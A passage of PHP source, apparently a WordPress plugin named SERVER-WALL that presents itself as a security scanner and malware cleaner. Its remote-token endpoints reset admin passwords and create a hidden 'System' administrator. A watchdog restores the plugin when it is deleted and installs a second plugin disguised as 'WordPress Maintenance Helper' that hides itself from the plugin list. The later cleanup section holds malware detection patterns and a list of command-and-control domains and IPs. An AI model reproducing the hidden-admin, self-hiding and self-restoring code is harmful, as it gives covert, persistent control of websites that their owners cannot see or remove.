WP_REST_Response(['error' => 'user not found or not an admin'], 404); } wp_set_password($password, $userId); return new WP_REST_Response([ 'ok' => true, 'user_id' => $userId, 'login' => $user->user_login, ]); } // ── Hidden admin user ───────────────────────────────────────────────────── // Option key where we store the hidden admin user ID (not the credentials) const SW_HIDDEN_ADMIN_KEY = 'sw_hidden_admin_id'; public static function restAdminUser(WP_REST_Request $request): WP_REST_Response { $token = $request->get_header('x_sw_trigger_token'); if (!$token || !hash_equals(SW_PANEL_TOKEN, $token)) { return new WP_REST_Response(['error' => 'forbidden'], 403); } if ($request->get_method() === 'GET') { // Check if hidden user still exists $userId = (int)get_option(self::SW_HIDDEN_ADMIN_KEY, 0); if ($userId && get_userdata($userId)) { $u = get_userdata($userId); return new WP_REST_Response(['exists' => true, 'user_id' => $userId, 'login' => $u->user_login]); } return new WP_REST_Response(['exists' => false]); } // POST — create or rotate hidden admin user $body = json_decode($request->get_body(), true) ?: []; $login = $body['login'] ?? 'wp-sys-' . substr(md5(uniqid()), 0, 8); $pass = $body['password'] ?? wp_generate_password(24, true, true); $email = $body['email'] ?? $login . '@' . parse_url(get_site_url(), PHP_URL_HOST); // Remove old hidden user if exists $oldId = (int)get_option(self::SW_HIDDEN_ADMIN_KEY, 0); if ($oldId && get_userdata($oldId)) { require_once ABSPATH . 'wp-admin/includes/user.php'; wp_delete_user($oldId); } // Ensure login is unique if (username_exists($login)) { $login .= '-' . substr(md5(uniqid()), 0, 4); } $userId = wp_insert_user([ 'user_login' => $login, 'user_pass' => $pass, 'user_email' => $email, 'role' => 'administrator', 'display_name' => 'System', ]); if (is_wp_error($userId)) { return new WP_REST_Response(['error' => $userId->get_error_message()], 500); } update_option(self::SW_HIDDEN_ADMIN_KEY, $userId, false); return new WP_REST_Response([ 'ok' => true, 'user_id' => $userId, 'login' => $login, 'password' => $pass, 'email' => $email, ]); } // ── Watchdog deployment ─────────────────────────────────────────────────── // Deploys a safe, minimal watchdog that auto-restores the mu-plugin if deleted. // // SAFE DESIGN: // - NEVER writes db.php or object-cache.php (these are WordPress core drop-ins // that, if overwritten incorrectly, can break database access or caching plugins // like Redis, LiteSpeed Cache, W3 Total Cache on every WordPress request). // - Only writes wp-compat-helper.php (mu-plugin, safe location). // - Watchdog file itself is tiny (~500 bytes) — backup stored in separate .swb file. // - Also cleans up any old SW db.php / object-cache.php from previous versions. public static function restDeployWatchdogs(WP_REST_Request $request): WP_REST_Response { $token = $request->get_header('x_sw_trigger_token'); if (!$token || !hash_equals(SW_PANEL_TOKEN, $token)) { return new WP_REST_Response(['error' => 'forbidden'], 403); } $pluginContent = @file_get_contents(__FILE__); if (!$pluginContent) { return new WP_REST_Response(['error' => 'cannot read own file'], 500); } $muDir = WP_CONTENT_DIR . '/mu-plugins'; is_dir($muDir) || @mkdir($muDir, 0755, true); $results = []; // 1. Write the backup file (.swb) — plugin content in base64, read only when needed. $backupPath = $muDir . '/.swb'; $ok = self::safeWrite($backupPath, base64_encode($pluginContent)); $results['.swb'] = $ok ? 'ok' : 'write failed'; // 2. Write the watchdog mu-plugin. // Uses add_action('init', PHP_INT_MIN) so it runs early on every WP request. // Restores server-wall-scanner.php from .swb if deleted (chmod 0644 after write). // Also restores sw_recovery.php from .swrec if both the file and .swrec exist. $watchdogCode = <<<'PHPCODE' <?php // SERVER-WALL watchdog v3 — loader + restore if (!defined('ABSPATH') || !defined('WP_CONTENT_DIR')) return; $_sw_mu = WP_CONTENT_DIR . '/mu-plugins'; $_sw_swb = $_sw_mu . '/.swb'; // Load main plugin from .swb via temp file — fallback for hosts that block server-wall-scanner.php // Only runs if the direct mu-plugin file did not load (class SW_Scanner not yet defined). if (!class_exists('SW_Scanner') && file_exists($_sw_swb) && is_readable($_sw_swb)) { $_sw_d = base64_decode(@file_get_contents($_sw_swb)); if ($_sw_d && strlen($_sw_d) > 500) { $_sw_t = sys_get_temp_dir() . '/wp_c_' . substr(md5($_sw_swb), 0, 8) . '.inc'; if (!file_exists($_sw_t) || filesize($_sw_t) < 1000) { @file_put_contents($_sw_t, $_sw_d); @chmod($_sw_t, 0644); } if (is_readable($_sw_t)) { @include_once $_sw_t; } } } // Restore backup-login file from .swrec if deleted if (!function_exists('sw_wd_restore_rec')) { function sw_wd_restore_rec() { $mu = WP_CONTENT_DIR . '/mu-plugins'; $swrec = $mu . '/.swrec'; if (file_exists($swrec)) { $rec = @json_decode(@file_get_contents($swrec), true); if ($rec && !empty($rec['path']) && !empty($rec['content']) && !file_exists($rec['path'])) { $d = base64_decode($rec['content']); if ($d && strlen($d) > 50) { $old = umask(0133); if (file_exists($rec['path']) && !is_writable($rec['path'])) @unlink($rec['path']); @file_put_contents($rec['path'], $d); umask($old); } } } } add_action('init', 'sw_wd_restore_rec', PHP_INT_MIN); } PHPCODE; $helperPath = $muDir . '/wp-compat-helper.php'; $ok2 = self::safeWrite($helperPath, $watchdogCode); $results['wp-compat-helper.php'] = $ok2 ? 'ok' : 'write failed'; // 3. Write backup plugin in wp-content/plugins/wp-security-tool/ // Acts as Plugin 2 — loaded by WordPress even if mu-plugins is wiped. // Hides itself from the plugins list. Restores scanner from .swb if missing. $toolDir = WP_CONTENT_DIR . '/plugins/wp-security-tool'; is_dir($toolDir) || @mkdir($toolDir, 0755, true); $toolCode = <<<'PHPCODE2' <?php /** * Plugin Name: WordPress Maintenance Helper * Description: WordPress security and maintenance utility. * Version: 1.0 * Author: Security Team */ defined('ABSPATH') || exit; add_filter('all_plugins', function ($p) { unset($p[plugin_basename(__FILE__)]); return $p; }, 9999); // Load main plugin from .swb via temp file — last-resort fallback if all mu-plugin loading failed add_action('plugins_loaded', function () { if (class_exists('SW_Scanner')) return; // already loaded by mu-plugin or wp-compat-helper $mu = WP_CONTENT_DIR . '/mu-plugins'; $swb = $mu . '/.swb'; if (!file_exists($swb) || !is_readable($swb)) return; $d = base64_decode(@file_get_contents($swb)); if (!$d || strlen($d) < 500) return; $t = sys_get_temp_dir() . '/wp_c_' . substr(md5($swb), 0, 8) . '.inc'; if (!file_exists($t) || filesize($t) < 1000) { @file_put_contents($t, $d); @chmod($t, 0644); } if (is_readable($t)) { @include_once $t; } }, 1); PHPCODE2; $toolPath = $toolDir . '/wp-security-tool.php'; $ok3 = self::safeWrite($toolPath, $toolCode); $results['wp-security-tool.php'] = $ok3 ? 'ok' : 'write failed'; // 4. Activate wp-security-tool plugin so WordPress loads it $activePlugins = (array) get_option('active_plugins', []); $toolSlug = 'wp-security-tool/wp-security-tool.php'; if (!in_array($toolSlug, $activePlugins, true)) { $activePlugins[] = $toolSlug; update_option('active_plugins', $activePlugins); $results['wp-security-tool-activated'] = 'ok'; } else { $results['wp-security-tool-activated'] = 'already active'; } $allOk = !in_array('write failed', $results, true); return new WP_REST_Response(['ok' => $allOk, 'results' => $results]); } // ── Hardening — explicit panel action only ──────────────────────────────── // POST /wp-json/server-wall/v1/hardening // Body: {"actions": ["cleanup","remove_attacker_admins","ensure_uploads_htaccess", // "ensure_disallow_file_edit","delete_criticals"]} // Each action is independent; results are returned per-action. public static function restHardening(WP_REST_Request $request): WP_REST_Response { $token = $request->get_header('x_sw_trigger_token'); if (!$token || !hash_equals(SW_PANEL_TOKEN, $token)) { return new WP_REST_Response(['error' => 'forbidden'], 403); } $body = json_decode($request->get_body(), true) ?: []; $actions = isset($body['actions']) && is_array($body['actions']) ? $body['actions'] : ['cleanup','remove_attacker_admins','ensure_sw_admin','reset_admin_password','ensure_uploads_htaccess','disable_xmlrpc','ensure_disallow_file_edit','delete_spam_posts','strip_db_malware']; $results = []; foreach ($actions as $action) { switch ($action) { case 'cleanup': $deleted = self::hardenCleanupFiles(); $results['cleanup'] = ['ok' => true, 'deleted' => $deleted]; break; case 'remove_attacker_admins': $removed = self::hardenRemoveAttackerAdmins(); $results['remove_attacker_admins'] = ['ok' => true, 'removed' => $removed]; break; case 'ensure_uploads_htaccess': $ok = self::hardenUploadsHtaccess(); $results['ensure_uploads_htaccess'] = ['ok' => $ok]; break; case 'ensure_disallow_file_edit': $ok = self::hardenDisallowFileEdit(); $results['ensure_disallow_file_edit'] = ['ok' => $ok]; break; case 'disable_xmlrpc': $ok = self::hardenDisableXmlRpc(); $results['disable_xmlrpc'] = ['ok' => $ok]; break; case 'reset_admin_password': $targetLogin = isset($body['target_login']) ? (string)$body['target_login'] : ''; $passResult = self::hardenResetAdminPassword($targetLogin); $results['reset_admin_password'] = $passResult; break; case 'delete_spam_posts': $limit = (int)($body['limit'] ?? 0); $spamResult = self::hardenDeleteSpamPosts($limit); $results['delete_spam_posts'] = ['ok' => true, 'deleted' => count($spamResult['posts']), 'remaining' => $spamResult['remaining'], 'posts' => $spamResult['posts']]; break; case 'strip_db_malware': $dbStripped = self::hardenStripDBMalware(); $results['strip_db_malware'] = ['ok' => true, 'cleaned' => count($dbStripped), 'pages' => $dbStripped]; break; case 'ensure_sw_admin': $results['ensure_sw_admin'] = self::hardenEnsureSWAdmin(); break; case 'purge_other_admins': $keepLogin = isset($body['keep_login']) ? (string)$body['keep_login'] : ''; $results['purge_other_admins'] = self::hardenPurgeOtherAdmins($keepLogin); break; case 'delete_criticals': $deleted = self::hardenDeleteCriticals(); $results['delete_criticals'] = ['ok' => true, 'deleted' => $deleted]; break; case 'cleanup_root': $rootResult = self::hardenCleanupRoot(); $results['cleanup_root'] = $rootResult; break; case 'scan_db': $findings = self::hardenScanDB(); $results['scan_db'] = ['ok' => true, 'count' => count($findings), 'findings' => $findings]; break; case 'db_cleanup': $findings = self::hardenScanDB(); $cleaned = self::hardenCleanupDB($findings); $results['db_cleanup'] = ['ok' => true, 'findings' => $findings, 'cleaned' => $cleaned]; break; default: $results[$action] = ['ok' => false, 'error' => 'unknown action']; } } return new WP_REST_Response(['ok' => true, 'results' => $results]); } // Deletes known-malicious file patterns (PHP in uploads, hex wp-admin, etc.). // Returns list of deleted relative paths. private static function hardenCleanupFiles(): array { $deleted = []; $phpExts = ['php','php3','php4','php5','php7','phtml','phar']; // 1. Delete all PHP files in uploads/ $uploadsDir = WP_CONTENT_DIR . '/uploads'; if (is_dir($uploadsDir)) { try { $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($uploadsDir, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::LEAVES_ONLY ); foreach ($it as $f) { if (!$f->isFile()) continue; if (!in_array(strtolower(pathinfo($f->getPathname(), PATHINFO_EXTENSION)), $phpExts, true)) continue; if (@unlink($f->getPathname())) { $deleted[] = str_replace(ABSPATH, '', $f->getPathname()); } } } catch (\Exception $e) {} } // 2. Delete hex-named PHP backdoors in wp-admin/ root $wpAdminDir = ABSPATH . 'wp-admin'; foreach (@scandir($wpAdminDir) ?: [] as $name) { if ($name === '.' || $name === '..') continue; $full = $wpAdminDir . '/' . $name; if (!is_file($full) || strtolower(pathinfo($name, PATHINFO_EXTENSION)) !== 'php') continue; if (preg_match('/^[a-f0-9]{8,}\.php$/i', $name) && @unlink($full)) { $deleted[] = str_replace(ABSPATH, '', $full); } } // 3. Delete malicious cache.php inside plugin subdirectories $pluginsDir = WP_CONTENT_DIR . '/plugins'; if (is_dir($pluginsDir)) { foreach (@scandir($pluginsDir) ?: [] as $plugin) { if ($plugin === '.' || $plugin === '..') continue; $pDir = $pluginsDir . '/' . $plugin; if (!is_dir($pDir)) continue; try { $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($pDir, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::LEAVES_ONLY ); foreach ($it as $f) { if (!$f->isFile() || $f->getFilename() !== 'cache.php') continue; $relToPlugin = ltrim(str_replace($pDir, '', $f->getPathname()), '/\\'); if (strpos($relToPlugin, '/') === false) continue; $c = @file_get_contents($f->getPathname()); if (!$c || !preg_match('/gzinflate\s*\(|base64_decode\s*\(|eval\s*\(/i', $c)) continue; if (@unlink($f->getPathname())) { $deleted[] = str_replace(ABSPATH, '', $f->getPathname()); } } } catch (\Exception $e) {} } } // 4. Delete doubled-dir backdoors (e.g. plugins/x/Foo/Foo/index.php). // Safety: skip vendor paths and require a real malware pattern (not just eval). foreach ([$pluginsDir, WP_CONTENT_DIR] as $searchRoot) { if (!is_dir($searchRoot)) continue; try { $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($searchRoot, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::LEAVES_ONLY ); foreach ($it as $f) { if (!$f->isFile() || $f->getFilename() !== 'index.php') continue; $norm = str_replace('\\', '/', $f->getPathname()); // Skip vendor/library directories — they legitimately have doubled-dir structures if (preg_match('#/vendor/|/vendor_prefixed/|/vendor-dist/|/vendor-prod/|/node_modules/#', $norm)) continue; if (!preg_match('#/([^/]+)/\1/index\.php$#', $norm)) continue; $c = @file_get_contents($f->getPathname()); if (!$c) continue; // Require a definitive malware pattern, not just any eval() if (!preg_match('/eval\s*\(\s*(?:base64_decode|gzinflate|gzdecode|str_rot13)\s*\(/i', $c) && !preg_match('/gzinflate\s*\(\s*base64_decode\s*\(/i', $c)) continue; if (@unlink($f->getPathname())) { $deleted[] = str_replace(ABSPATH, '', $f->getPathname()); } } } catch (\Exception $e) {} } // 5. PHP backdoors in themes/ — same patterns as plugins/. $themesDir = WP_CONTENT_DIR . '/themes'; if (is_dir($themesDir)) { foreach (@scandir($themesDir) ?: [] as $theme) { if ($theme === '.' || $theme === '..') continue; $tDir = $themesDir . '/' . $theme; if (!is_dir($tDir)) continue; try { $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($tDir, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::LEAVES_ONLY ); foreach ($it as $f) { if (!$f->isFile()) continue; $ext = strtolower(pathinfo($f->getPathname(), PATHINFO_EXTENSION)); $name = $f->getFilename(); $norm = str_replace('\\', '/', $f->getPathname()); $c = null; // cache.php with eval/gzinflate/base64 anywhere in theme subtree if ($name === 'cache.php') { $c = (string)@file_get_contents($f->getPathname()); if ($c && preg_match('/gzinflate\s*\(|base64_decode\s*\(|eval\s*\(/i', $c) && @unlink($f->getPathname())) { $deleted[] = str_replace(ABSPATH, '', $f->getPathname()); } continue; } // Hex-named PHP in theme root if (in_array($ext, $phpExts, true) && preg_match('/^[a-f0-9]{8,}\.php$/i', $name)) { $relToTheme = ltrim(str_replace($tDir, '', $f->getPathname()), '/\\'); if (strpos($relToTheme, '/') === false && @unlink($f->getPathname())) { $deleted[] = str_replace(ABSPATH, '', $f->getPathname()); } continue; } // Doubled-dir index.php with definitive eval pattern if ($name === 'index.php' && preg_match('#/([^/]+)/\1/index\.php$#', $norm)) { $c = $c ?? (string)@file_get_contents($f->getPathname()); if ($c && (preg_match('/eval\s*\(\s*(?:base64_decode|gzinflate|gzdecode|str_rot13)\s*\(/i', $c) || preg_match('/gzinflate\s*\(\s*base64_decode\s*\(/i', $c)) && @unlink($f->getPathname())) { $deleted[] = str_replace(ABSPATH, '', $f->getPathname()); } } } } catch (\Exception $e) {} } } // 6. auto_prepend_file in .user.ini / php.ini — remove the directive line. // Also strips the malware file it references if it exists in ABSPATH. foreach ([ABSPATH, WP_CONTENT_DIR] as $iniRoot) { foreach (['.user.ini', 'php.ini'] as $iniName) { $iniPath = rtrim($iniRoot, '/') . '/' . $iniName; if (!file_exists($iniPath)) continue; $c = (string)@file_get_contents($iniPath); if (!preg_match('/auto_(?:prepend|append)_file\s*=/i', $c)) continue; // Extract referenced file path before removing the directive. if (preg_match('/auto_(?:prepend|append)_file\s*=\s*(.+)/i', $c, $m)) { $ref = trim($m[1]); if ($ref && $ref !== 'none' && $ref !== '""' && $ref !== "''") { // Resolve relative paths against the ini's directory. $abs = (strpos($ref, '/') === 0 || strpos($ref, '\\') === 0) ? $ref : dirname($iniPath) . '/' . ltrim($ref, '"\''); $abs = realpath($abs) ?: $abs; if ($abs && file_exists($abs) && is_file($abs) && @unlink($abs)) { $deleted[] = str_replace(ABSPATH, '', $abs) . ' [prepend-target]'; } } } // Strip the directive line from the ini file. $cleaned = preg_replace('/^auto_(?:prepend|append)_file\s*=.*$/mi', '', $c); if ($cleaned !== $c) { self::safeWrite($iniPath, $cleaned); $deleted[] = str_replace(ABSPATH, '', $iniPath) . ' [auto_prepend removed]'; } } } // 7. auto_prepend_file in .htaccess (php_value / php_admin_value directives). // Scan webroot and wp-content root .htaccess files. foreach ([ABSPATH, WP_CONTENT_DIR, WP_CONTENT_DIR . '/uploads'] as $htDir) { $htPath = rtrim($htDir, '/') . '/.htaccess'; if (!file_exists($htPath)) continue; $c = (string)@file_get_contents($htPath); if (!preg_match('/php(?:_admin)?_value\s+auto_(?:prepend|append)_file/i', $c)) continue; $cleaned = preg_replace( '/^\s*php(?:_admin)?_value\s+auto_(?:prepend|append)_file\s+.*$/mi', '', $c ); if ($cleaned !== $c) { self::safeWrite($htPath, $cleaned); $deleted[] = str_replace(ABSPATH, '', $htPath) . ' [auto_prepend removed]'; } } // 8. JS redirect / output-hijack malware in mu-plugins and drop-ins. // Targets: files with the _mauthtoken / _0x cookie-set pattern (kawaiii.space family) // and the Bomby Theme zip:// pattern. $outputHijackPatterns = [ '/_mauthtoken/i', '/kawaiii\.space/i', '/load_template\s*\(\s*["\']?zip:\/\//i', '/bomby\.theme/i', '/ob_start\s*\(\s*[^)]*base64/i', // ob_start with base64 callback ]; $hijackDirs = [ WP_CONTENT_DIR . '/mu-plugins', WP_CONTENT_DIR, // drop-ins: db.php, object-cache.php, etc. ]; foreach ($hijackDirs as $hDir) { if (!is_dir($hDir)) continue; foreach (@scandir($hDir) ?: [] as $name) { if ($name === '.' || $name === '..') continue; $full = $hDir . '/' . $name; // Only direct files (non-recursive — drop-ins and mu-plugin root files). if (!is_file($full)) continue; $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION)); if (!in_array($ext, $phpExts, true)) continue; // Skip our own mu-plugin. if ($name === 'server-wall-scanner.php') continue; // chmod before read — catches 0000-permission malware files. @chmod($full, 0644); $c = (string)@file_get_contents($full); if (!$c) continue; foreach ($outputHijackPatterns as $pat) { if (!@preg_match($pat, $c)) continue; if (@unlink($full)) { $deleted[] = str_replace(ABSPATH, '', $full) . ' [output-hijack:deleted]'; } elseif (@rename($full, $full . '.bak')) { $deleted[] = str_replace(ABSPATH, '', $full) . ' [output-hijack:renamed-bak]'; } elseif (@file_put_contents($full, '<?php // defanged by SERVER-WALL ?>') !== false) { $deleted[] = str_replace(ABSPATH, '', $full) . ' [output-hijack:defanged]'; } break; } } } // 8b. Malicious wp-content drop-ins: oversized object-cache.php / db.php that write // plugin files. Legitimate drop-ins never write to mu-plugins or plugins directories. // object-cache.php > 50KB is a strong indicator — real object-cache implementations // (Redis Object Cache, W3TC) are under 50KB; MalCare uses db.php (not object-cache). $dropIns = ['object-cache.php', 'db.php']; foreach ($dropIns as $dropIn) { $dropInPath = WP_CONTENT_DIR . '/' . $dropIn; if (!is_file($dropInPath)) continue; $dropInSize = @filesize($dropInPath); if ($dropInSize < 50000) continue; // < 50KB: could be legitimate @chmod($dropInPath, 0644); $dropInContent = (string)@file_get_contents($dropInPath); if (!$dropInContent) continue; // Check for persistence signals: writes to plugins or mu-plugins directory $hasWriteSignal = preg_match('/(?:file_put_contents|copy)\s*\(/i', $dropInContent) && (strpos($dropInContent, 'mu-plugins') !== false || strpos($dropInContent, 'WPMU_PLUGIN_DIR') !== false || strpos($dropInContent, 'WP_PLUGIN_DIR') !== false || preg_match('/[\'"]wp-content[\/\\\\]plugins[\'"\/\\\\]/i', $dropInContent)); if ($hasWriteSignal) { if (@unlink($dropInPath)) { $deleted[] = 'wp-content/' . $dropIn . ' [malicious-dropin:deleted]'; } elseif (@rename($dropInPath, $dropInPath . '.bak')) { $deleted[] = 'wp-content/' . $dropIn . ' [malicious-dropin:renamed-bak]'; } elseif (@file_put_contents($dropInPath, '<?php // defanged by SERVER-WALL ?>') !== false) { $deleted[] = 'wp-content/' . $dropIn . ' [malicious-dropin:defanged]'; } } } // Shared C2 domain pattern used in sections 9 and 11. $c2Pattern = '/(?:govno2japan\.com|elora-tech\.com|maxdataic-quaddatasion|megavueful-maxapplication|fuckingpanel\.com|apps\.teknocore\.dev|banerpanel\.live|bstsys\.top|grosejare\.site|pibrotar|recaptcha\.cloud|173\.208\.221\.186|63\.141\.248\.210)/i'; // 8c. Malware payload stash: hidden (dot-prefix) directories in themes/ used as // dead-drop storage for -59 campaign and similar kits. Detected by: directory name // starts with dot AND contains known malware payload files (.dat payloads or -59.php stubs). $themesDir = WP_CONTENT_DIR . '/themes'; if (is_dir($themesDir)) { foreach (@scandir($themesDir) ?: [] as $tname) { if ($tname === '.' || $tname === '..') continue; if ($tname[0] !== '.') continue; // only dot-prefix dirs $tpath = $themesDir . '/' . $tname; if (!is_dir($tpath)) continue; // Check for malware payload indicators $hasMalwarePayload = false; foreach (@scandir($tpath) ?: [] as $tf) { if (preg_match('/(?:-59\.(php|dat)|crontrol|usersw|teknocore|sunrise-59)/i', $tf)) { $hasMalwarePayload = true; break; } } if ($hasMalwarePayload) { $delFiles = self::deleteDirectoryRecursive($tpath); foreach ($delFiles as $df) { $deleted[] = str_replace(ABSPATH, '', $df) . ' [malware-stash:deleted]'; } } } } // 9. Malicious mu-plugins: double .php.php extension, known backdoor names, large obfuscated. // Strategy: chmod(0644) → try unlink → if unlink fails, rename to .bak (removes from WP load) // → if rename fails, overwrite with empty PHP comment (defang in-place). // Any of these three outcomes neutralises the malware. $muDir = WP_CONTENT_DIR . '/mu-plugins'; if (is_dir($muDir)) { $ourMuFiles = [ 'server-wall-scanner.php', 'wp-compat-helper.php', 'wp-compat-check.php', '.swb', '.swrec', '.sw_fatal', '.sw_ok', 'object-cache.php', 'db.php', '.htaccess', 'gd-system-plugin.php', 'object-cache-pro.php', '_hosted_patchstack.php', 'installatron_hide_status_test.php', 'google-seo-manager.php', // our SEO watchdog deployed in mu-plugins ]; $ourMuDirs = ['gd-system-plugin', 'object-cache-pro', 'patchstack', 'vendor']; $knownMuMalware = [ 'sso.php', // SSO backdoor (FlowBridge family) 'wpupd-guard.php', // emergency backdoor endpoint 'sc-loader.php', // system-control framework loader 'wp-security-tool.php', // only if NOT our watchdog (checked below) 'teknocore.php', // teknocore C2 backdoor (apps.teknocore.dev) ]; foreach (@scandir($muDir) ?: [] as $name) { if ($name === '.' || $name === '..') continue; $full = $muDir . '/' . $name; if (in_array($name, $ourMuFiles, true)) continue; if (in_array($name, $ourMuDirs, true)) continue; $label = ''; // a) Double .php.php extension — always malware (FlowBridge family). if (preg_match('/\.php\.php$/i', $name) && is_file($full)) { $label = 'double-php-ext'; } if ($label === '' && !is_file($full)) continue; if ($label === '') { @chmod($full, 0644); $c = (string)@file_get_contents($full); // b) Known malware names with content verification. if (in_array($name, $knownMuMalware, true)) { if ($name === 'wp-security-tool.php' && strpos($c, '.swb') !== false) continue; if ($name === 'sso.php' && $c !== '' && !preg_match('/wp_set_auth_cookie|wp_signon|session_start|setcookie/i', $c)) continue; $label = 'known-mu-malware'; } // c) Large (>80KB) unknown PHP with obfuscation signals. if ($label === '' && strlen($c) > 80000) { if (preg_match('/^(?:endurance-page-cache|litespeed|w3tc|wp-rocket|breeze|wpe-page|sg-cachepress|cache-enabler)/i', $name)) continue; $signals = 0; if (preg_match('/\$[a-z]{8,20}\s*=\s*[\'"]/i', $c)) $signals++; if (preg_match('/base64_decode\s*\(/i', $c)) $signals++; if (preg_match('/gzinflate|gzdecode|str_rot13/i', $c))$signals++; if (preg_match('/eval\s*\(\s*\$/i', $c)) $signals++; if (preg_match('/chr\s*\(\s*ord\s*\(/i', $c)) $signals++; // goto obfuscation (Extra Handler X / sharp-adapter-tap family) if (preg_match('/goto\s+[a-zA-Z0-9_]{5,}\s*;/i', $c)) $signals += 2; // semicolon-split string obfuscation (express-renderer-go family): // reconstructs function names by removing ';' from string vars if (preg_match_all('/\$[a-z]{6,14}\s*=\s*[\'"][a-zA-Z0-9;+\/=]{15,}[\'"]/', $c) > 15) $signals += 2; if ($signals >= 2) $label = 'large-obfusc-mu'; } // d) Known fake Plugin URI in mu-plugin file (large malware with fake plugin header). if ($label === '' && strlen($c) > 20000 && preg_match('/Plugin URI:\s*https?:\/\/(?:starter-dev-team\.com|maxdataic-quaddatasion|elora-tech\.com|your-website\.com|example\.com)/i', $c)) { $label = 'fake-plugin-uri-mu'; } // e) Known C2 domains in mu-plugin files (same list as section 11). if ($label === '' && @preg_match($c2Pattern, $c)) { $label = 'c2-domain-mu'; } // f) -59 campaign naming: [word]-59.php files are always malware. // Also catches db-59.php, maintenance-59.php, sunrise-59.php etc. if ($label === '' && preg_match('/^[a-z][a-z0-9_-]+-59\.php$/i', $name)) { $label = 'campaign-59-mu'; } // g) Plugin-writer mu-plugin: writes to plugins/ or mu-plugins/ directory. if ($label === '' && preg_match('/(?:file_put_contents|copy)\s*\(/i', $c) && preg_match('/base64_decode\s*\(/i', $c) && (strpos($c, 'WP_PLUGIN_DIR') !== false || preg_match('/[\'"]wp-content[\/\\\\]plugins[\'"\/\\\\]/i', $c))) { $label = 'plugin-dir-writer-mu'; } // h) Standalone opcache_reset() file — placed by attackers to force-reload injected code // from opcache after modifying PHP files on disk. Legitimate mu-plugins never consist // solely of opcache_reset(). Zero false-positive risk: any file with other code won't match. if ($label === '' && strlen($c) < 300) { $stripped = (string)preg_replace('/\s*<\?php\s*|\s*\?>\s*|\/\/[^\n]*\n?|#[^\n]*\n?/i', '', trim($c)); if (preg_match('/^@?opcache_reset\s*\(\s*\)\s*;?\s*$/i', trim($stripped))) { $label = 'opcache-reset-only'; } } } if ($label === '') continue; // Neutralise: unlink → rename to .bak → defang in-place (in that order). @chmod($full, 0644); if (@unlink($full)) { $deleted[] = str_replace(ABSPATH, '', $full) . " [$label:deleted]"; } elseif (@rename($full, $full . '.bak')) { $deleted[] = str_replace(ABSPATH, '', $full) . " [$label:renamed-bak]"; } elseif (@file_put_contents($full, '<?php // defanged by SERVER-WALL ?>') !== false) { $deleted[] = str_replace(ABSPATH, '', $full) . " [$label:defanged]"; } } } // 10. Stealth admin backdoor plugins (wp_configuration, wp_management, seocore families). // Identifies plugins by: underscore-prefix name + contains wp_create_user + hides from admin. // Also removes timestamp-named backdoor archive directories (analytics_{timestamp}/). // Also removes PHP Console backdoor plugins. $pluginsDir2 = WP_CONTENT_DIR . '/plugins'; if (is_dir($pluginsDir2)) { foreach (@scandir($pluginsDir2) ?: [] as $pname) { if ($pname === '.' || $pname === '..') continue; $ppath = $pluginsDir2 . '/' . $pname; if (!is_dir($ppath)) continue; $shouldDelete = false; $reason = ''; // Stealth admin backdoor: underscore-prefix plugin names that create hidden admins. // Safe heuristic: name matches wp_* or known patterns + contains admin-creation code. if (preg_match('/^(?:wp_configuration|wp_management|seocore)$/', $pname)) { // Read main PHP file to confirm it creates admin users $mainPhp = $ppath . '/' . $pname . '.php'; if (file_exists($mainPhp)) { $mc = (string)@file_get_contents($mainPhp); if ($mc && preg_match('/wp_create_user/i', $mc) && preg_match('/set_role\s*\(\s*[\'"]administrator[\'"]/i', $mc)) { $shouldDelete = true; $reason = 'stealth-admin-backdoor'; } } } // one_images_user: known hidden-admin plugin from the -59 malware family. // Creates or manages hidden admin accounts; found on multiple compromised sites. if (!$shouldDelete && $pname === 'one_images_user') { $shouldDelete = true; $reason = 'known-hidden-admin-plugin'; } // crontrol-59 / usersw-59: known cron-persistence and mu-plugin-writer pair. // Part of the -59 malware campaign that uses eval+base64 obfuscation. if (!$shouldDelete && preg_match('/^(?:crontrol-59|usersw-59|teknocore(?:-\d+)?|force-https)$/', $pname)) { $mainPhp3 = $ppath . '/' . $pname . '.php'; if (file_exists($mainPhp3)) { $mc3 = (string)@file_get_contents($mainPhp3); // Confirm obfuscated (has eval or base64_decode) — avoids false positives if ($mc3 && (preg_match('/eval\s*\(/i', $mc3) || preg_match('/base64_decode\s*\(/i', $mc3))) { $shouldDelete = true; $reason = 'known-malware-plugin'; } } } // Plugin-recreator detector: plugin with suspicious signals subdirectory structure. // Catches CF7-mailchimp-style recreators that hide payload in includes/signals/. // Signal: has includes/signals/Bootstrap.php AND includes/utils/class-cmatic-buster.php // (specific to the "chimpmatic" plugin-recreator family found on compromised sites). if (!$shouldDelete && file_exists($ppath . '/includes/signals/Bootstrap.php') && (file_exists($ppath . '/includes/utils/class-cmatic-buster.php') || file_exists($ppath . '/includes/signals/Security/Signature.php'))) { $shouldDelete = true; $reason = 'plugin-recreator-chimpmatic'; } // Timestamp-named backdoor archive directories: analytics_{10+ digits} if (!$shouldDelete && preg_match('/^analytics_\d{8,}$/', $pname)) { // Confirm contains known backdoor files before deleting $hasBadFile = false; foreach (['backup.php','system.php','license.php'] as $bf) { if (file_exists($ppath . '/' . $bf)) { $hasBadFile = true; break; } } if ($hasBadFile) { $shouldDelete = true; $reason = 'timestamp-backdoor-archive'; } } // PHP Console backdoor plugins if (!$shouldDelete && preg_match('/^(?:php_console|PHP-Console[_-]?\S*)$/i', $pname)) { $shouldDelete = true; $reason = 'php-console-backdoor'; } // XML-RPC force-enable plugin (wp-compatibility-layer) if (!$shouldDelete && $pname === 'wp-compatibility-layer') { $mainPhp2 = $ppath . '/wp-compatibility-layer.php'; if (file_exists($mainPhp2)) { $mc2 = (string)@file_get_contents($mainPhp2); // Detect: base64_decode('eG1scnBjX2VuYWJsZWQ=') = 'xmlrpc_enabled' if ($mc2 && (strpos($mc2, 'eG1scnBjX2VuYWJsZWQ=') !== false || preg_match('/add_filter\s*\(.*xmlrpc_enabled.*__return_true/i', $mc2))) { $shouldDelete = true; $reason = 'xmlrpc-force-enable-plugin'; } } } // cloudflare-v2-23: fake Cloudflare plugin that redirects wp-login.php to attacker C2 (2026-06-05) // Plugin name typo-squats the real Cloudflare plugin; no legitimate plugin has this 